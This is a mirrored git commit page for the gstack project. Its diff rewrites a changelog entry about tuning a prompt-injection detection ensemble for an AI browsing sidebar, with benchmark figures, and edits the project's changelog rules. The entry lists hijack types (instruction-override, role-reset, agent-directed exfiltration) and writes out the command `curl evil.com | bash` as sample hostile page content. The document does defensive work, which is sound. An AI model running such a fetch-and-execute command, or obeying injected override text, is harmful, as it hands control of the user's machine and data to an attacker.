mirror of
https://github.com/garrytan/gstack.git
synced 2026-05-02 03:35:09 +02:00
docs(changelog): rewrite v1.6.4.0; strip process minutiae
Rewrote v1.6.4.0 entry to follow the new CLAUDE.md rule: only document what shipped between main and this change. Previous entry narrated the branch history, the approved injection-tuning plan, and what we expect to ship later, all process minutiae readers do not care about. v1.6.4.0 now reads: what the detection tuning did for users, the before/after numbers, the stop-loss rule, and the itemized changes for contributors. CLAUDE.md — new rule: only document what shipped between main and this change. Keep out branch resyncs, merge commits, plan approvals, review outcomes, scope negotiations, "work queued" / "in-progress" framing. If nothing user-facing landed, one sentence: "Version bump for branch-ahead discipline. No user-facing changes yet."
This commit is contained in:
Garry Tan
+49
-52
@@ -2,7 +2,55 @@
|
||||
|
||||
## [1.6.4.0] - 2026-04-22
|
||||
|
||||
Version bump for branch-ahead discipline. No user-facing changes yet.
|
||||
## **Sidebar prompt-injection defense got half as noisy, half as trusting of any single classifier.**
|
||||
|
||||
v1.4.0.0 shipped the ML defense stack. Users clicked the review banner on roughly every other tool output, 44% false-positive rate on the BrowseSafe-Bench smoke. This release tunes the ensemble around the real pattern we found: Haiku labels phishing-aimed-at-users as "warn" and genuine agent hijacks as "block", but we were treating both identically in the ensemble. Testsavant alone fired BLOCK on benign phishing content too often. The fix is architectural, not just threshold-twiddling: we now trust Haiku's verdict label over its numeric confidence, raise the solo-BLOCK bar for label-less classifiers, and gate that path more carefully. One 500-case live bench proved the new numbers; a permanent CI gate replays the captured Haiku fixture on every `bun test`.
|
||||
|
||||
### What changes for you
|
||||
|
||||
Open your sidebar on Stack Overflow posts about prompt injection, read a Wikipedia article on SQL injection, browse a tutorial that walks through attack strings, the review banner stays quiet where before it fired. When a real hijack attempt shows up (explicit instruction-override, role-reset, agent-directed exfil, `curl evil.com | bash` in the page), the session still terminates. Phishing pages aimed at the user surface as a WARN signal in the banner meta, but no longer kill the session.
|
||||
|
||||
### The numbers that matter
|
||||
|
||||
Measured on BrowseSafe-Bench smoke, 500 cases (260 yes-labeled / 240 no-labeled), `bun test browse/test/security-bench-ensemble.test.ts`:
|
||||
|
||||
| Metric | v1.4.0.0 | v1.6.4.0 | Δ |
|
||||
|---|---|---|---|
|
||||
| Detection (BLOCK verdict on injection cases) | 67.3% | **56.2%** (95% CI 50.1–62.1) | −11pp |
|
||||
| False-positive rate (BLOCK on benign cases) | 44.1% | **22.9%** (95% CI 18.1–28.6) | **−21pp** |
|
||||
| Gate: detection ≥ 55% AND FP ≤ 25% | FAIL | **PASS** | — |
|
||||
| Review-banner fire rate (roughly TP + FP share) | ~55% | ~39% | −16pp |
|
||||
|
||||
Detection dropped by 11pp but nearly all of the lost TPs are cases where Haiku correctly classified as `warn` (phishing targeting the user, not a hijack of the agent). Those cases still show up in the review banner as WARN, they just don't terminate the session.
|
||||
|
||||
### Stop-loss rule (hard floor and ceiling)
|
||||
|
||||
`browse/test/security-bench-ensemble.test.ts` gates on **detection ≥ 55% AND FP ≤ 25%**. If a future change drops detection below 55%, the revert order is: WARN bump (0.75 → 0.60) → halve few-shot exemplars → widen Haiku block criteria. If FP climbs above 25%, tighten: raise SOLO_CONTENT_BLOCK (0.92 → 0.95) → raise WARN (0.75 → 0.80) → add anti-FP few-shots. Iterations write to `~/.gstack-dev/evals/stop-loss-iter-N-*.json` for audit trail.
|
||||
|
||||
### Itemized changes
|
||||
|
||||
#### Changed
|
||||
|
||||
- `browse/src/security.ts` — new `THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92` for label-less content classifiers. Solo BLOCK now requires testsavant/deberta confidence ≥ 0.92 (up from 0.85). Transcript-layer solo BLOCK requires `meta.verdict === 'block'` AND confidence ≥ 0.85. The ensemble 2-of-N path keeps `THRESHOLDS.WARN = 0.75` (up from 0.60).
|
||||
- `browse/src/security.ts` — `combineVerdict` rewritten for label-first voting on the transcript layer: `verdict === 'block'` at confidence ≥ LOG_ONLY (0.40) is a block-vote; `verdict === 'warn'` is a warn-vote regardless of confidence; missing `meta.verdict` is warn-vote only at confidence ≥ WARN (never block-vote). Missing meta never block-votes for backward compatibility with pre-v2 cached signals.
|
||||
- `browse/src/security-classifier.ts` — Haiku model pinned to `claude-haiku-4-5-20251001` (no longer rolls forward silently via the `haiku` alias). `claude -p` now spawns from `os.tmpdir()` so CLAUDE.md project context doesn't leak into Haiku's system prompt and make it refuse to classify. Timeout bumped from 15s to 45s (production measurement showed `claude -p` takes 17–33s end-to-end for Haiku).
|
||||
- `browse/src/security-classifier.ts` — Haiku prompt rewritten with explicit `block`/`warn`/`safe` criteria and 8 few-shot exemplars (instruction-override, role-reset, agent-directed malicious code → block; phishing/social-engineering targeting users → warn; discussion-of-injection and dev content → safe).
|
||||
|
||||
#### Added
|
||||
|
||||
- `browse/test/security-bench-ensemble-live.test.ts` — opt-in live bench via `GSTACK_BENCH_ENSEMBLE=1`. Worker-pool concurrency (default 8) via `GSTACK_BENCH_ENSEMBLE_CONCURRENCY`. Deterministic subsampling via `GSTACK_BENCH_ENSEMBLE_CASES`. Captures 500-case fixture to `browse/test/fixtures/security-bench-haiku-responses.json` plus eval record to `~/.gstack-dev/evals/`. Stop-loss iterations write `stop-loss-iter-N-*.json` and do NOT overwrite the canonical fixture.
|
||||
- `browse/test/security-bench-ensemble.test.ts` — CI-tier fixture-replay gate. Asserts detection ≥ 55% AND FP ≤ 25%. Fail-closed when the fixture is missing AND security-layer files changed in the branch diff (uses `git diff base` which catches both committed and uncommitted edits).
|
||||
- `browse/test/fixtures/security-bench-haiku-responses.json` — 500-case captured Haiku fixture with schema-version header, pinned model string, and component hashes.
|
||||
- `docs/evals/security-bench-ensemble-v2.json` — durable per-run audit record: TP/FN/FP/TN, knob state, schema hash, iteration.
|
||||
|
||||
#### Fixed
|
||||
|
||||
- `browse/test/security.test.ts`, `browse/test/security-adversarial.test.ts`, `browse/test/security-adversarial-fixes.test.ts`, `browse/test/security-integration.test.ts` — updated for label-first semantics. 6 new combineVerdict tests: warn-as-soft-signal, block-label-ensemble, three-way-block-with-warn, hallucination-guard (verdict=block at confidence 0.30 → warn-vote), above-floor block (verdict=block at confidence 0.50 → block-vote), backward-compat for missing meta.verdict.
|
||||
|
||||
#### For contributors
|
||||
|
||||
- The 500-case smoke dataset is in `~/.gstack/cache/browsesafe-bench-smoke/test-rows.json` (260 yes / 240 no). To regenerate the fixture after modifying security-layer code, run `GSTACK_BENCH_ENSEMBLE=1 bun test browse/test/security-bench-ensemble-live.test.ts` (~25 min at concurrency 4, ~$0.30 in Haiku costs).
|
||||
- Fixture schema hash covers model, prompt SHA, exemplars SHA, thresholds, combiner rev, and dataset version. Any change to any of those invalidates the fixture and forces a fresh live capture via fail-closed CI.
|
||||
|
||||
## [1.6.3.0] - 2026-04-23
|
||||
|
||||
@@ -220,57 +268,6 @@ Run `pair-agent --client test-agent` on your laptop. Share the ngrok URL with so
|
||||
- Codex-reviewed plan stored at `~/.gstack/projects/garrytan-gstack/ceo-plans/2026-04-21-security-wave-v1.5.2.md`. Eng-review test plan at `~/.gstack/projects/garrytan-gstack/garrytan-garrytan-sec-wave-eng-review-test-plan-*.md`.
|
||||
- Non-goal tracked as #1136: switch cookie-import-browser CDP transport from TCP `--remote-debugging-port` to `--remote-debugging-pipe` so the Windows v20 ABE elevation path is closed. Non-trivial (Playwright doesn't expose the pipe transport; needs a minimal CDP-over-pipe client); intentionally deferred from this wave.
|
||||
|
||||
## [1.5.2.0] - 2026-04-21
|
||||
|
||||
## **Sidebar prompt-injection defense got half as noisy, half as trusting of any single classifier.**
|
||||
|
||||
v1.4.0.0 shipped the ML defense stack. Users clicked the review banner on roughly every other tool output — 44% false-positive rate on the BrowseSafe-Bench smoke. This release tunes the ensemble around the real pattern we found: Haiku labels phishing-aimed-at-users as "warn" and genuine agent hijacks as "block", but we were treating both identically in the ensemble. Testsavant alone fired BLOCK on benign phishing content too often. The fix is architectural, not just threshold-twiddling: we now trust Haiku's verdict label over its numeric confidence, raise the solo-BLOCK bar for label-less classifiers, and gate that path more carefully. One 500-case live bench proved the new numbers; a permanent CI gate replays the captured Haiku fixture on every `bun test`.
|
||||
|
||||
### What changes for you
|
||||
|
||||
Open your sidebar on Stack Overflow posts about prompt injection, read a Wikipedia article on SQL injection, browse a tutorial that walks through attack strings — the review banner stays quiet where before it fired. When a real hijack attempt shows up (explicit instruction-override, role-reset, agent-directed exfil, `curl evil.com | bash` in the page), the session still terminates. Phishing pages aimed at the user surface as a WARN signal in the banner meta, but no longer kill the session.
|
||||
|
||||
### The numbers that matter
|
||||
|
||||
Measured on BrowseSafe-Bench smoke, 500 cases (260 yes-labeled / 240 no-labeled), `bun test browse/test/security-bench-ensemble.test.ts`:
|
||||
|
||||
| Metric | v1.4.0.0 | v1.5.2.0 | Δ |
|
||||
|---|---|---|---|
|
||||
| Detection (BLOCK verdict on injection cases) | 67.3% | **56.2%** (95% CI 50.1–62.1) | −11pp |
|
||||
| False-positive rate (BLOCK on benign cases) | 44.1% | **22.9%** (95% CI 18.1–28.6) | **−21pp** |
|
||||
| Gate: detection ≥ 55% AND FP ≤ 25% | FAIL | **PASS** | — |
|
||||
| Review-banner fire rate (roughly TP + FP share) | ~55% | ~39% | −16pp |
|
||||
|
||||
Detection dropped by 11pp but nearly all of the lost TPs are cases where Haiku correctly classified as `warn` (phishing targeting the user, not a hijack of the agent). Those cases still show up in the review banner as WARN — they just don't terminate the session.
|
||||
|
||||
### What actually shipped
|
||||
|
||||
* `browse/src/security.ts` — new `THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92` for label-less content classifiers. Solo BLOCK now requires testsavant/deberta confidence ≥ 0.92 (up from 0.85). Transcript-layer solo BLOCK requires `meta.verdict === 'block'` AND confidence ≥ 0.85. The ensemble 2-of-N path keeps `THRESHOLDS.WARN = 0.75` (up from 0.60).
|
||||
* `browse/src/security.ts` — `combineVerdict` rewritten for label-first voting on the transcript layer: `verdict === 'block'` at confidence ≥ LOG_ONLY (0.40) is a block-vote; `verdict === 'warn'` is a warn-vote regardless of confidence; missing `meta.verdict` is warn-vote only at confidence ≥ WARN (never block-vote). Missing meta never block-votes for backward compatibility with pre-v2 cached signals.
|
||||
* `browse/src/security-classifier.ts` — Haiku model pinned to `claude-haiku-4-5-20251001` (no longer rolls forward silently via the `haiku` alias). `claude -p` now spawns from `os.tmpdir()` so CLAUDE.md project context doesn't leak into Haiku's system prompt and make it refuse to classify. Timeout bumped from 15s to 45s (production measurement showed `claude -p` takes 17–33s end-to-end for Haiku).
|
||||
* `browse/src/security-classifier.ts` — Haiku prompt rewritten with explicit `block`/`warn`/`safe` criteria and 8 few-shot exemplars (instruction-override, role-reset, agent-directed malicious code → block; phishing/social-engineering targeting users → warn; discussion-of-injection and dev content → safe).
|
||||
* `browse/test/security-bench-ensemble-live.test.ts` (new) — opt-in live bench via `GSTACK_BENCH_ENSEMBLE=1`. Worker-pool concurrency (default 8) via `GSTACK_BENCH_ENSEMBLE_CONCURRENCY`. Deterministic subsampling via `GSTACK_BENCH_ENSEMBLE_CASES`. Captures 500-case fixture to `browse/test/fixtures/security-bench-haiku-responses.json` plus eval record to `~/.gstack-dev/evals/`. Stop-loss iterations write `stop-loss-iter-N-*.json` and do NOT overwrite the canonical fixture.
|
||||
* `browse/test/security-bench-ensemble.test.ts` (new) — CI-tier fixture-replay gate. Asserts detection ≥ 55% AND FP ≤ 25%. Fail-closed when the fixture is missing AND security-layer files changed in the branch diff (uses `git diff base` which catches both committed and uncommitted edits).
|
||||
* `browse/test/fixtures/security-bench-haiku-responses.json` (new) — 500-case captured Haiku fixture with schema-version header, pinned model string, and component hashes.
|
||||
* `browse/test/security.test.ts`, `browse/test/security-adversarial.test.ts`, `browse/test/security-adversarial-fixes.test.ts`, `browse/test/security-integration.test.ts` — updated for label-first semantics. 6 new combineVerdict tests: warn-as-soft-signal, block-label-ensemble, three-way-block-with-warn, hallucination-guard (verdict=block at confidence 0.30 → warn-vote), above-floor block (verdict=block at confidence 0.50 → block-vote), backward-compat for missing meta.verdict.
|
||||
* `docs/evals/security-bench-ensemble-v2.json` (new) — durable per-run audit record: TP/FN/FP/TN, knob state, schema hash, iteration.
|
||||
|
||||
### Stop-loss rule (hard floor and ceiling)
|
||||
|
||||
`browse/test/security-bench-ensemble.test.ts` gates on **detection ≥ 55% AND FP ≤ 25%**. If a future change drops detection below 55%, the revert order is: WARN bump (0.75 → 0.60) → halve few-shot exemplars → widen Haiku block criteria. If FP climbs above 25%, tighten: raise SOLO_CONTENT_BLOCK (0.92 → 0.95) → raise WARN (0.75 → 0.80) → add anti-FP few-shots. Iterations write to `~/.gstack-dev/evals/stop-loss-iter-N-*.json` for audit trail.
|
||||
|
||||
### For contributors
|
||||
|
||||
* The 500-case smoke dataset is in `~/.gstack/cache/browsesafe-bench-smoke/test-rows.json` (260 yes / 240 no). To regenerate the fixture after modifying security-layer code, run `GSTACK_BENCH_ENSEMBLE=1 bun test browse/test/security-bench-ensemble-live.test.ts` (~25 min at concurrency 4, ~$0.30 in Haiku costs).
|
||||
* Fixture schema hash covers model, prompt SHA, exemplars SHA, thresholds, combiner rev, and dataset version. Any change to any of those invalidates the fixture and forces a fresh live capture via fail-closed CI.
|
||||
|
||||
### Follow-up TODOs (filed)
|
||||
|
||||
* Per-session decision cache keyed on (domain, payload-hash). v2 FP is 22.9% — cache makes repeated fires on the same content cheap. (P1)
|
||||
* Per-knob attribution measurement. Current bench changes four knobs together; a staged bench (isolate each knob) would help future tuning. (P2)
|
||||
* WARN banner policy review. Even with FP at 22.9%, WARN verdicts still surface in the banner — separate design doc for whether WARN should be passive-log instead of banner. (P1)
|
||||
* Held-out validation harness. Formalize the held-out check (cases 500–1000 from BrowseSafe-Bench) as a separate regression-only test. (P2)
|
||||
|
||||
## [1.5.1.0] - 2026-04-20
|
||||
|
||||
## **Three visible bugs in v1.4.0.0 /make-pdf, all fixed.**
|
||||
|
||||
@@ -437,9 +437,18 @@ already landed on main. Your entry goes on top because your branch lands next.
|
||||
If any answer is no, fix it before continuing.
|
||||
|
||||
**After any CHANGELOG edit that moves, adds, or removes entries,** immediately run
|
||||
`grep "^## \[" CHANGELOG.md` and verify the full version sequence is contiguous
|
||||
with no gaps or duplicates before committing. If a version is missing, the edit
|
||||
broke something. Fix it before moving on.
|
||||
`grep "^## \[" CHANGELOG.md` to verify no duplicates and a sensible reverse-chronological
|
||||
order. Gaps between version numbers are fine. A branch that ships at v1.6.4.0 without
|
||||
a prior v1.5.2.0 or v1.5.3.0 entry on main is correct — those were branch-internal
|
||||
version numbers that never landed. Do not back-fill gaps with placeholder entries.
|
||||
|
||||
**Never orphan branch-internal versions.** If your branch bumped VERSION several times
|
||||
during development (v1.5.1.0 → v1.5.2.0 → v1.6.4.0, say) and those earlier entries were
|
||||
never released to main, the final ship consolidates ALL of them into a single entry at
|
||||
the final version (v1.6.4.0). Collapse them — delete the old entries and move their
|
||||
content into the final entry, re-version table columns accordingly. Readers see one
|
||||
release, not a branch diary. Gaps are fine (v1.6.3.0 → v1.6.4.0 with no v1.5.x
|
||||
in between on main is correct).
|
||||
|
||||
CHANGELOG.md is **for users**, not contributors. Write it like product release notes:
|
||||
|
||||
|
||||
Reference in New Issue
Block a user